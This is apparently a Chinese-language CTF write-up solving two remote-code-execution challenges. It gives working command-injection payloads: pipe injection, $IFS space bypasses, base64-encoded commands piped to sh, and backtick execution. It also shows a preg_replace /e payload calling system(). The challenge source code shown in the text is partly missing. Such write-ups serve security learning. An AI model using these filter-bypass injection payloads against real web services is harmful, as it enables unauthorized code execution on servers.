RCE
写在前面
做了几道RCE的题目只有一个感受:mdRCE好难
包含题目
- [GXYCTF 2019]Ping Ping Ping
- [BJDCTF 2020]ZJCTF,不过如此
[GXYCTF 2019]Ping Ping Ping
打开题目发现只有一个?ip=,显然是要get一个IP,传入127.0.0.1,发现传回来一个PING的页面,猜测可能是RCE。利用管道符测试一下
1 | /?ip=1|ls |
发现回显flag.php和index.php
直接cat一下flag.php(虽然估计读不出来。。。)。果然发现fxck your space!
绕过空格的方法:
1 | $IFS |
实际上$IFS是一个环境变量,默认情况下$IFS是空格。当然也可以给$IFS赋其他的值。
尝试
1 | ?ip=1|cat$IFS$1flag.php |
发现回显/?ip= fxck your flag!应该是对flag字段做了限制。那就先看看index里面有什么趴
index:
1 | ?php |
解法一
过滤了一堆符号包括\,空格,bash在内。最后还做了flag的贪婪匹配。最后是一个shell_exec的命令执行。
既然这么多参数被过滤了,那么就考虑先base64编码绕过,然后在shell里面解码,过滤了bash还可以用sh
参考链接shell中base64编解码的使用 shell基本语法
构建payload:
1 | ?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //这里要echo的原因是shell的base64解码是不显示的。有点像exec函数的效果 |
Y2F0IGZsYWcucGhw就是cat flag.php的base64编码
解法二
内联执行,Linux的shell中``反引号中的内容会被当作Linux命令先执行,再将执行结果返回给调用它的变量或其他
构建payload:
1 | ?ip=1|cat$IFS$1`ls` |
解法三
变量拼接,原理就是把过滤了的关键字拆开。从而到达绕过的目的
[BJDCTF 2020]ZJCTF,不过如此
前面和ZJCTF一模一样具体可以参考序列化的那篇文章。这里就不细说。拿到next.php的源码如下
1 |
|
可以看到最后有一个eval函数。可以想到是命令执行。而需要绕过的部分就是complex函数。这里要补充三个知识点
1 | 1. preg_replace使用/e模式,会把replacement参数当作php代码执行,是一个典型的远程代码执行函数 |
于是构建payload:
1 | next.php?\S*=${getFlag()}&cmd=system('ls'); |
一点一点解释这个payload。首先是
1 | \S*=${getFlag()}。实际上是get了一个变量名为\S*,值为${getflag()}的一组变量,经过拆分以后放到complex函数里面就变成了 |
然后谈谈怎么就被调用了
1 | 注意'strtolower("\\1")',这里的\\1,第一个反斜杠转义,第二个反斜杠才是真正的反斜,\\1访问了位于缓冲区的${getFlag()},而且在双引号变量内会被替换,实际上变成了'strtolower(getFlag())',由于preg_replace开启了/e,strtolower(getFlag())会被当作php代码执行。 |
最后一个知识点
1 | 为什么是${getFlag()}? 在bash中,变量的引用需要在变量名之前加$,标准的是${},代表${}里的东西是一个变量,而不是单纯的字符串 |
更多关于bash中的变量细节可以参考Linux下shell脚本:bash的介绍和使用(详细)
因此最终payload
1 | /next.php?\S*=${getFlag()}&cmd=system('ls'); |